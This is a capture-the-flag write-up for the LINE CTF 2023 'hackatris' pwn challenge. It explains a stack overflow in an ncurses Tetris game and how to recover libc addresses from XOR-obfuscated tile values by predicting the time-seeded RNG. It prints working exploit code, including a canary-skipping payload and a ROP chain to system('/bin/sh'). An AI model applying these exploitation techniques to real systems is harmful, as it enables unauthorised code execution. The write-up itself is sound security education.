Line CTF 2023 - hackatris
Score 341 Solve 6 pwn misc
libc (sha256, Ubuntu GLIBC 2.35-0ubuntu3.1): 568740b06a8afa26db4874f8cf61985ecbc6dd127f4229416fe95da8f9ec13fb stty raw -echo;nc 35.194.113.63 10004
Team: HK Guesser
Attachment: hackatris.tar.gz Original_Exploit Pyte_Version libc run.sh run_local.sh
A ncurses challenge again =(
While solving this challenge during the ctf, most of the time went into parsing that ncurses screen. After the ctf ended, I saw a neat solution from Chovid99 though, using pyte
to do the parsing in a much cleaner way.
So, let’s first go through the original solution. But for not having not to suffer that pain with ncurses in the future anymore, I’ll also add a cleaned up exploit, combining Chovid99’s approach for parsing with my exploit.
Original solution
The game has an obvious buffer overflow in show_scoreboard
while ( 1 )
{
input_char = wgetch(v5);
if ( input_char > 47 && input_char <= 57 )
{
nibble = input_char - 48;
if ( (v4 & 1) != 0 )
buffer[v4 / 2] |= nibble & 0xF;
else
buffer[v4 / 2] = 16 * nibble;
goto LABEL_13;
}
if ( input_char <= 96 || input_char > 122 )
break;
nibble2 = input_char - 97 + 10;
if ( (v4 & 1) != 0 )
buffer[v4 / 2] |= nibble2 & 0xF;
else
buffer[v4 / 2] = 16 * nibble2;
LABEL_13:
++v4;
}
if ( input_char != 10 )
goto LABEL_13;
This will read input from the user, converts it into a nibble and writes it to the buffer
on the stack. Thus, we can directly write bytes on the stack and also overflow the buffer (since it will continue until we press Enter
).
Though it has a canary
, that can be easily circumvented by just entering characters not in the valid range [0-9, a-f]. The function will then not touch the current nibble and just step forward to the next.
payload = "aa" * 0x48 # fill buffer
payload += "`" * 32 # skip canary and rbp
payload += "bb" * 0x8 # overwrite rip
This payload would leave the canary
and rbp
intact and segfault into 0xbbbbbbbbbbbbbbbb. Easy enough.
The main problem for this challenge is to get proper leaks, since PIE and ASLR is active. As soon as we have a libc
leak, this should be easily finished.
The binary contains a pointer to system
, though system
isn’t called anywhere, so let’s check, what it is used for then.
unsigned long get_bleak()
{
int rand_value;
void *p_system;
rand_value = rand() % 6;
B_leak_c += 10;
B_leak_r = B_leak_c + rand_value;
p_system = system_p;
B_leak[0] = (__int64)*(&p_system + rand_value);
B_leak[1] = (__int64)*(&p_system + rand_value);
B_leak[2] = (__int64)*(&p_system + rand_value);
B_leak[3] = (__int64)*(&p_system + rand_value);
B_leak[0] ^= 0x4141414141414141;
B_leak[1] ^= 0x4141414141414141;
B_leak[2] ^= 0x4141414141414141;
B_leak[3] ^= 0x4141414141414141;
}
Everytime, a new tile is popped from the tile queue, the binary will call get_bleak
, to initialize the B_leak
array, which is used to draw the numbers on the different tiles.
p_system
will point to the stack frame and depending on rand_value
, we’ll get the address at the corresponding offset to it:
0 - System
1 - Canary
2 - RBP
3 - Return address (PIE)
4 - Stack
5 - PIE address
So, if we know the initial rng seed, we can parse the tiles in the game screen, reverse the xor
on it, and by knowing rand_value
recalculate single bytes from the original address.
Since every tile will take different bytes from the B_leak
array, we’d just have to play the game long enough to reverse all the addresses on the stack frame (we only need system
address though).
RNG is initialized with srand(time(0))
, so guessing the random values in the binary is easy.
At start, the binary pushes three tiles to the queue and pops the first tile, so let’s simulate this
SHAPES = []
BLEAKS = []
SHAPE_IDX = -1
BLEAK_IDX = -1
def push():
global SHAPES, BLEAKS
SHAPES.append(lc.rand() % 7)
def pop():
global SHAPES, BLEAKS, SHAPE_IDX, BLEAK_IDX
BLEAKS.append(lc.rand() % 6)
SHAPE_IDX += 1
BLEAK_IDX += 1
push()
def exploit(r):
global SHAPES, BLEAKS, CURBLOCK
# initialize seed for rand
lc.srand(lc.time(None))
# initialize shape and bleak arrays
push()
push()
push()
pop()
for i in range(len(SHAPES)):
debug("Shape {}: {}".format(i, SHAPES[i]))
for i in range(len(BLEAKS)):
debug("Bleak {}: {}".format(i, BLEAKS[i]))
With this, we’ll know the first 3 tiles in the queue and also the first rand_val
for get_bleak
.
Parsing the map was the most painful thing in this challenge, so yeah, ncurses made me curse a lot…
ansi_escape = re.compile(r'''
\x1B
(?:
[@-Z\\-_]
|
\[
[0-?]*
[ -/]*
[@-~]
)
''', re.VERBOSE)
def receive():
data = r.recv(10000)
print data
decoded = ansi_escape.sub('', data)
parsed = ''.join([i for i in decoded if i in CHARSET]).strip()
return data, decoded, parsed
def receive_new_block():
global CURBLOCK
cur_dir = 0
while True:
data, decoded, parsed = receive()
if len(parsed) == 2*4:
# possible new block
if parsed != CURBLOCK:
# found new block
debug("Found new block: %s" % parsed)
CURBLOCK = parsed
return CURBLOCK
def exploit(r):
...
# receive blocks and update leaks
while True:
# receive next block
block = receive_new_block()
# recalculate leaks from block and current bleak value
parse_block(block, SHAPES[SHAPE_IDX], BLEAKS[BLEAK_IDX])
# print leaks to debug output
debug_leaks()
if system_leak_finished():
break
# send input to drop block
drop_block()
CURBLOCK = "AAAAAAAA"
# fetch next block from queue
pop()
# calculate libc base
libc.address = get_addr(LEAKS[0]) - libc.symbols["system"]
debug("LIBC : %s" % hex(libc.address))
# play manually to get a score > 0
r.interactive()
The loop will now always receive the game screen (parse it with the regular expressions to get rid of the ANSI codes) until it finds a new block (consisting of 4 bytes), then parse the block, recalculating the leaks, send a keyboard sequence to drop the block somewhere on the bottom and simulate the pop
for a new block (which will calculate the next random values for shape and bleak).
It will continue doing this until it was able to completely reverse the address of system
. We can then calculate libc
base and switch to interactive
, so we can manually play the game.
To get into the scoreboard, we’ll have to get a score > 0, so yeah, let’s just play it manually. To make this a bit easier, I piped the complete logging
into a file (so we can tail
it in a second terminal) and forwarded the received bytes from the service to the terminal, so it will draw the game board the same way as when directly connecting to it.
Since we now know, when a new block is dropped and know the random values, we can recalculate the leaks from it
LEAKS = [
[0x60, 0, 0, 0, 0, 0x7f, 0x0, 0], # SYSTEM
[0, 0, 0, 0, 0, 0, 0, 0], # CANARY
[0, 0, 0, 0, 0, 0, 0, 0], # RBP
[0, 0, 0, 0, 0, 0, 0, 0], # PIE1
[0, 0, 0, 0, 0, 0, 0, 0], # STACK
[0, 0, 0, 0, 0, 0, 0, 0], # PIE2
def parse_block(block, shape, bleak):
global LEAKS
debug("Parse_block: %s / %d / %d" % (block, shape, bleak))
bytes = []
for i in range(4):
bytes.append((block[i*2:(i*2)+2]).decode("hex"))
if shape == 0:
LEAKS[bleak][6] = ord(bytes[0]) ^ 0x41
LEAKS[bleak][7] = ord(bytes[1]) ^ 0x41
LEAKS[bleak][3] = ord(bytes[2]) ^ 0x41
LEAKS[bleak][4] = ord(bytes[3]) ^ 0x41
elif shape == 1:
LEAKS[bleak][2] = ord(bytes[0]) ^ 0x41
LEAKS[bleak][3] = ord(bytes[1]) ^ 0x41
LEAKS[bleak][4] = ord(bytes[2]) ^ 0x41
LEAKS[bleak][5] = ord(bytes[3]) ^ 0x41
elif shape == 2:
LEAKS[bleak][5] = ord(bytes[0]) ^ 0x41
LEAKS[bleak][0] = ord(bytes[1]) ^ 0x41
LEAKS[bleak][1] = ord(bytes[2]) ^ 0x41
LEAKS[bleak][2] = ord(bytes[3]) ^ 0x41
elif shape == 3:
LEAKS[bleak][3] = ord(bytes[0]) ^ 0x41
LEAKS[bleak][0] = ord(bytes[1]) ^ 0x41
LEAKS[bleak][1] = ord(bytes[2]) ^ 0x41
LEAKS[bleak][2] = ord(bytes[3]) ^ 0x41
elif shape == 4:
LEAKS[bleak][4] = ord(bytes[0]) ^ 0x41
LEAKS[bleak][0] = ord(bytes[1]) ^ 0x41
LEAKS[bleak][1] = ord(bytes[2]) ^ 0x41
LEAKS[bleak][2] = ord(bytes[3]) ^ 0x41
elif shape == 5:
LEAKS[bleak][0] = ord(bytes[0]) ^ 0x41
LEAKS[bleak][4] = ord(bytes[1]) ^ 0x41
LEAKS[bleak][5] = ord(bytes[2]) ^ 0x41
LEAKS[bleak][1] = ord(bytes[3]) ^ 0x41
elif shape == 6:
LEAKS[bleak][6] = ord(bytes[0]) ^ 0x41
LEAKS[bleak][3] = ord(bytes[1]) ^ 0x41
LEAKS[bleak][4] = ord(bytes[2]) ^ 0x41
LEAKS[bleak][1] = ord(bytes[3]) ^ 0x41
When we’re lucky enough and the leak for system
gets finished in time, all there’s left to do, is to send the ropchain into reward
to get a shell popping up.
# send ropchain to reward
POPRDI = libc.address + 0x2a3e5
RET = libc.address + 0xf872e
ropchain = p64(POPRDI)
ropchain += p64(next(libc.search("/bin/sh")))
ropchain += p64(RET)
ropchain += p64(libc.symbols["system"])
payload = "aa"*0x48 # fill buffer
payload += "`"*32 # skip canary+rbp
payload += ropchain.encode("hex") # append ropchain
r.sendline(payload)
r.interactive()
Running it in two terminals will look like this:
Since the parsing via the regular expressions was a bit rough, the exploit is not super stable and will have to be run multiple times to get lucky with the blocks and the leaks, but at some point it will do the job ;)
Doing it cleaner with pyte
As mentioned before, after the ctf, I saw the solution from Chovid99, that used pyte
to parse the ncurses screen. So in aftermath, I combined that with my approach to get a clean solution and serving as a lookup for future ncurses challenges for me.
In the cleaned up exploits, I’ll create multiple threads, one for parsing the game map and one for calculating the leaks when a new block is discovered. In the main thread, we can then read user input and forward it to the service, so the leaks will be the solved “while we play”.
def parse_game_thread():
global GAME_SCREEN, GAME_FINISHED
screen = pyte.Screen(100, 500)
stream = pyte.ByteStream(screen)
while not GAME_FINISHED:
b = r.recv()
print(b.decode("utf-8"))
stream.feed(b)
GAME_SCREEN = []
for disp in screen.display[5:35]:
GAME_SCREEN.append(disp[5:])
log("Parse game thread finished")
def parse_leaks():
global GAME_SCREEN, SYSTEM_LEAK_FINISHED
last_difficulty = 0
search_for_new_block = False
while not SYSTEM_LEAK_FINISHED:
# check if difficulty has changed => new block available
difficulty = get_difficulty(GAME_SCREEN)
if difficulty != -1 and (difficulty != last_difficulty):
last_difficulty = difficulty
search_for_new_block = True
time.sleep(1) # sleep to make sure, that new block is already in screen
# parse until we found a new block on top of the screen
if search_for_new_block:
found_block = get_new_block(GAME_SCREEN)
if found_block:
log("New block found : %s" % found_block)
search_for_new_block = False
parse_block(found_block, SHAPES[SHAPE_IDX], BLEAKS[BLEAK_IDX])
pop()
debug_leaks()
check_for_finished_system_leak()
def exploit(r):
global GAME_SCREEN, GAME_FINISHED
lc.srand(lc.time(None))
push()
push()
push()
pop()
# start game parsing thread
parser = threading.Thread(target=parse_game_thread, args=())
parser.start()
# start leak deobfuscator thread
leaker = threading.Thread(target=parse_leaks, args=())
leaker.start()
# listen to input and forward to game (end game session with 'q')
while True:
user_inp = input()
if user_inp == "q":
GAME_FINISHED = True
break
r.send(user_inp)
leaker.join()
When leaks are finished, we’ll just have to score and play into a game over.
When we get to the reward screen, press q
to finish the input thread, so the exploit can send the ropchain to it (check the attached exploit for details).
This was a lot more stable than the previous exploit :)